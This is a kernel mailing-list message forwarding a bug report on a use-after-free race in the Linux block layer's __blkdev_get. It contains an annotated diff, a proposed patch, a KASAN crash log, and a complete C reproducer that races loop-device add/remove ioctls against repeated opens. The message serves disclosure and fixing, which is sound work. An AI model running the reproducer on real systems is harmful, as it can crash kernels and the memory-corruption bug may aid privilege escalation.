Thanks for your report and the patch. I am sending it to the linux-block devs since it's already public. regards, dan carpenter On Thu, Jan 11, 2018 at 03:51:06PM +0800, Foy wrote: > BUG: > diff --git a/fs/block_dev.c b/fs/block_dev.c > index 4a181fc..db919a9 100644 > --- a/fs/block_dev.c > +++ b/fs/block_dev.c > @@ -1430,12 +1430,15 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part) > restart: > > ret = -ENXIO; > + //2. Process C: loop_control_ioctl ==> LOOP_CTL_REMOVE ==> idr_remove > + //3. Process B: get_gendisk ==> get_gendisk ==> kobj_lookup ==> loop_probe ==> loop_add, get a new disk(2) > disk = get_gendisk(bdev->bd_dev, &partno); > if (!disk) > goto out; > owner = disk->fops->owner; > > disk_block_events(disk); > + //1. Process A get the disk(1),before the mutex_lock_nested.And then be scheduled > mutex_lock_nested(&bdev->bd_mutex, for_part); > if (!bdev->bd_openers) { > bdev->bd_disk = disk; > @@ -1524,14 +1527,17 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part) > if (ret) > goto out_unlock_bdev; > } > + //5. Process A disk(1) will be free,because disk(1)'s refs == 1 > /* only one opener holds refs to the module and disk */ > put_disk(disk); > module_put(owner); > } > + //4. Process B: bdev->bd_openers != 0 > bdev->bd_openers++; > if (for_part) > bdev->bd_part_count++; > mutex_unlock(&bdev->bd_mutex); > + //6. Process A the disk(1) will be use > disk_unblock_events(disk); > return 0; > > > > > Patch: > diff --git a/fs/block_dev.c b/fs/block_dev.c > index 4a181fc..1f5c7bf 100644 > --- a/fs/block_dev.c > +++ b/fs/block_dev.c > @@ -1526,13 +1526,15 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, int for_part) > } > /* only one opener holds refs to the module and disk */ > put_disk(disk); > +disk = NULL; > module_put(owner); > } > bdev->bd_openers++; > if (for_part) > bdev->bd_part_count++; > mutex_unlock(&bdev->bd_mutex); > -disk_unblock_events(disk); > +if (disk) > +disk_unblock_events(disk); > return 0; > > out_clear: > > > > > Crash: > ================================================================== > BUG: KASAN: use-after-free in disk_unblock_events+0x4b/0x50 block/genhd.c:1657 > Read of size 8 at addr ffff880035c273f8 by task syz-executor6/21165 > > > CPU: 0 PID: 21165 Comm: syz-executor6 Not tainted 4.15.0-rc6 #18 > Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 > Call Trace: > __dump_stack lib/dump_stack.c:17 [inline] > dump_stack+0x104/0x1c5 lib/dump_stack.c:53 > print_address_description+0x6e/0x280 mm/kasan/report.c:252 > kasan_report_error mm/kasan/report.c:351 [inline] > kasan_report+0x254/0x340 mm/kasan/report.c:409 > disk_unblock_events+0x4b/0x50 block/genhd.c:1657 > __blkdev_get+0x5f5/0xdb0 fs/block_dev.c:1535 > blkdev_get+0x338/0x9e0 fs/block_dev.c:1591 > blkdev_open+0x1bd/0x240 fs/block_dev.c:1749 > do_dentry_open+0x682/0xd80 fs/open.c:752 > vfs_open+0x107/0x220 fs/open.c:866 > do_last fs/namei.c:3379 [inline] > path_openat+0x1051/0x3220 fs/namei.c:3519 > do_filp_open+0x25b/0x3b0 fs/namei.c:3554 > do_sys_open+0x4ab/0x650 fs/open.c:1059 > entry_SYSCALL_64_fastpath+0x1f/0x96 > RIP: 0033:0x40cd41 > RSP: 002b:00007ff1c06e5780 EFLAGS: 00000293 ORIG_RAX: 0000000000000002 > RAX: ffffffffffffffda RBX: 000000000071bf58 RCX: 000000000040cd41 > RDX: 0000000000000000 RSI: 0000000000080102 RDI: 00007ff1c06e5830 > RBP: 00000000000001e4 R08: 000000000000ffff R09: 0000000000000000 > R10: 0000000020024400 R11: 0000000000000293 R12: 00000000006efe00 > R13: 00000000ffffffff R14: 00007ff1c06e66d4 R15: 0000000000000002 > > > Allocated by task 21138: > set_track mm/kasan/kasan.c:459 [inline] > kasan_kmalloc+0xa9/0xd0 mm/kasan/kasan.c:551 > kmem_cache_alloc_node_trace+0x153/0x280 mm/slub.c:2780 > kmalloc_node include/linux/slab.h:537 [inline] > kzalloc_node include/linux/slab.h:699 [inline] > __alloc_disk_node+0xab/0x490 block/genhd.c:1400 > loop_add+0x42f/0xa00 drivers/block/loop.c:1808 > loop_control_ioctl+0x11c/0x450 drivers/block/loop.c:1940 > vfs_ioctl fs/ioctl.c:46 [inline] > do_vfs_ioctl+0x18b/0x13c0 fs/ioctl.c:686 > SYSC_ioctl fs/ioctl.c:701 [inline] > SyS_ioctl+0x7e/0xb0 fs/ioctl.c:692 > entry_SYSCALL_64_fastpath+0x1f/0x96 > > > Freed by task 21165: > set_track mm/kasan/kasan.c:459 [inline] > kasan_slab_free+0x71/0xc0 mm/kasan/kasan.c:524 > slab_free_hook mm/slub.c:1391 [inline] > slab_free_freelist_hook mm/slub.c:1412 [inline] > slab_free mm/slub.c:2968 [inline] > kfree+0xe2/0x2c0 mm/slub.c:3899 > disk_release+0x300/0x3c0 block/genhd.c:1249 > device_release+0x76/0x200 drivers/base/core.c:814 > kobject_cleanup lib/kobject.c:648 [inline] > kobject_release lib/kobject.c:677 [inline] > kref_put include/linux/kref.h:70 [inline] > kobject_put+0x13d/0x230 lib/kobject.c:694 > put_disk+0x1f/0x30 block/genhd.c:1465 > __blkdev_get+0x560/0xdb0 fs/block_dev.c:1528 > blkdev_get+0x338/0x9e0 fs/block_dev.c:1591 > blkdev_open+0x1bd/0x240 fs/block_dev.c:1749 > do_dentry_open+0x682/0xd80 fs/open.c:752 > vfs_open+0x107/0x220 fs/open.c:866 > do_last fs/namei.c:3379 [inline] > path_openat+0x1051/0x3220 fs/namei.c:3519 > do_filp_open+0x25b/0x3b0 fs/namei.c:3554 > do_sys_open+0x4ab/0x650 fs/open.c:1059 > entry_SYSCALL_64_fastpath+0x1f/0x96 > > > The buggy address belongs to the object at ffff880035c26e80 > which belongs to the cache kmalloc-2048 of size 2048 > The buggy address is located 1400 bytes inside of > 2048-byte region [ffff880035c26e80, ffff880035c27680) > The buggy address belongs to the page: > page:0000000003af101f count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0 > flags: 0x100000000008100(slab|head) > raw: 0100000000008100 0000000000000000 0000000000000000 00000001000f000f > raw: ffffea0000946a00 0000000200000002 ffff880035c02d80 0000000000000000 > page dumped because: kasan: bad access detected > > > Memory state around the buggy address: > ffff880035c27280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ffff880035c27300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > >ffff880035c27380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ^ > ffff880035c27400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ffff880035c27480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ================================================================== > > > > > > #include <stdio.h> > #include <string.h> > #include <errno.h> > #include <stdlib.h> > #include <unistd.h> > #include <fcntl.h> > #include <pthread.h> > #include <arpa/inet.h> > #include <sys/types.h> > #include <sys/socket.h> > #include <sys/syscall.h> > #include <sys/mman.h> > #include <sys/time.h> > #include <sys/resource.h> > #include <netinet/in.h> > #include <netinet/udp.h> > #include <netinet/ip.h> > #include <linux/xfrm.h> > #include <linux/netlink.h> > #include <linux/loop.h> > #include <stdarg.h> > #include <stdbool.h> > #include <stddef.h> > #include <sys/prctl.h> > #include <sys/time.h> > #include <sys/resource.h> > > #define false 0 > #define true 1 > int controlfd; > int count = 0; > > #define ERR_EXIT1(m) \ > do \ > { \ > perror(m); \ > exit(EXIT_FAILURE); \ > } while(0) > > #define ERR_EXIT(m) \ > do \ > { \ > perror(m); \ > } while(0) > > void send_fd(int sock_fd, int send_fd) { > int ret; > struct msghdr msg; > struct cmsghdr *p_cmsg; > struct iovec vec; > char cmsgbuf[CMSG_SPACE(sizeof(send_fd) * 253)]; > printf("cmsgbuf size:%d \n", sizeof(cmsgbuf)); > int *p_fds; > char sendchar = 0; > int i; > msg.msg_control = cmsgbuf; > msg.msg_controllen = sizeof(cmsgbuf); > p_cmsg = CMSG_FIRSTHDR(&msg); > p_cmsg->cmsg_level = SOL_SOCKET; > p_cmsg->cmsg_type = SCM_RIGHTS; > p_cmsg->cmsg_len = CMSG_LEN(sizeof(send_fd) * 253); > p_fds = (int *) CMSG_DATA(p_cmsg); > for (i = 0; i < 253; i++) { > p_fds[i] = send_fd; // ?????????????????????????????????????????????????????? > } > > msg.msg_name = NULL; > msg.msg_namelen = 0; > msg.msg_iov = &vec; > msg.msg_iovlen = 1; //??????????????????????????????????????????1????????? > msg.msg_flags = 0; > > vec.iov_base = &sendchar; > vec.iov_len = sizeof(sendchar); > while (1) { > ret = sendmsg(sock_fd, &msg, 0); > if (ret != 1) > ERR_EXIT("sendmsg"); > } > } > > int recv_fd(const int sock_fd) { > int ret; > struct msghdr msg; > char recvchar; > struct iovec vec; > int recv_fd; > char cmsgbuf[CMSG_SPACE(sizeof(recv_fd))]; > struct cmsghdr *p_cmsg; > int *p_fd, i; > vec.iov_base = &recvchar; > vec.iov_len = sizeof(recvchar); > msg.msg_name = NULL; > msg.msg_namelen = 0; > msg.msg_iov = &vec; > msg.msg_iovlen = 1; > msg.msg_control = cmsgbuf; > msg.msg_controllen = sizeof(cmsgbuf); > msg.msg_flags = 0; > > p_fd = (int *) CMSG_DATA(CMSG_FIRSTHDR(&msg)); > *p_fd = -1; > while (1) { > ret = recvmsg(sock_fd, &msg, 0); > if (ret < 0) { > char buff[256]; > snprintf(buff, "recvmsg11: sock_fd:%d ret:%d", sock_fd, ret); > ERR_EXIT(buff); > } > > p_cmsg = CMSG_FIRSTHDR(&msg); > if (p_cmsg == NULL) > ERR_EXIT("no passed fd"); > > p_fd = (int *) CMSG_DATA(p_cmsg); > for (i = 0; i < 253; i++) { > close(p_fd[i]); > } > } > recv_fd = *p_fd; > if (recv_fd == -1) > ERR_EXIT("no passed fd"); > > return recv_fd; > } > > int test_main(void) { > int sockfds[2]; > /* ??????unix???????????????????????????????????????????????????????????????????????????????????????????????? > * ?????????????????????socketpair???????????????socket()?????? */ > if (socketpair(PF_UNIX, SOCK_STREAM, 0, sockfds) < 0) > ERR_EXIT("socketpair"); > > pid_t pid; > pid = fork(); > if (pid == -1) > ERR_EXIT("fork"); > /* ?????????????????????????????????????????????????????????????????? > * ??????????????????????????????????????????????????????????????????????????????????????? */ > if (pid > 0) { > close(sockfds[1]); > int fd = recv_fd(sockfds[0]); > char buf[1024] = { 0 }; > read(fd, buf, sizeof(buf)); > } else if (pid == 0) { > close(sockfds[0]); > int fd; > fd = open("test.txt", O_RDONLY); > if (fd == -1) > ERR_EXIT("open"); > send_fd(sockfds[1], fd); > } > return 0; > } > > int main(int argc, char *argv[]) { > int ret; > int child_pid; > int fd; > int loop_index; > if (argc >= 2) { > loop_index = atoi(argv[1]); > } else { > loop_index = 9; > } > child_pid = fork(); > if (child_pid) { > child_pid = fork(); > if (child_pid) { > child_pid = fork(); > child_pid = fork(); > while (1) { > count++; > count = count * 2; > } > } else { > test_main(); > } > } > child_pid = fork(); > > if (child_pid) { > printf("pid:%d nice:%d \n", getpid(), getpriority(PRIO_PROCESS, getpid())); > controlfd = open("/dev/loop-control", O_RDWR); > while (controlfd >= 0) { > ret = ioctl(controlfd, LOOP_CTL_ADD, loop_index); > ret = ioctl(controlfd, LOOP_CTL_REMOVE, loop_index); > } > close(controlfd); > } else { > child_pid = fork(); > printf("pid:%d nice:%d \n", getpid(), getpriority(PRIO_PROCESS, getpid())); > char name[100]; > memset(name, 0, 100); > snprintf(name, 100, "/dev/loop%d", loop_index); > if (child_pid) { > prctl(PR_SET_NAME, "ppp"); > setpriority(PRIO_PROCESS, getpid(), 0); > while (1) { > fd = open(name, O_RDONLY); > if (fd <= 0) { > continue; > } > ret = close(fd); > } > } else { > child_pid = fork(); > prctl(PR_SET_NAME, "ccc"); > setpriority(PRIO_PROCESS, getpid(), -5); > while (1) { > fd = open(name, O_RDONLY); > if (fd <= 0) { > continue; > } > ret = close(fd); > } > } > } > }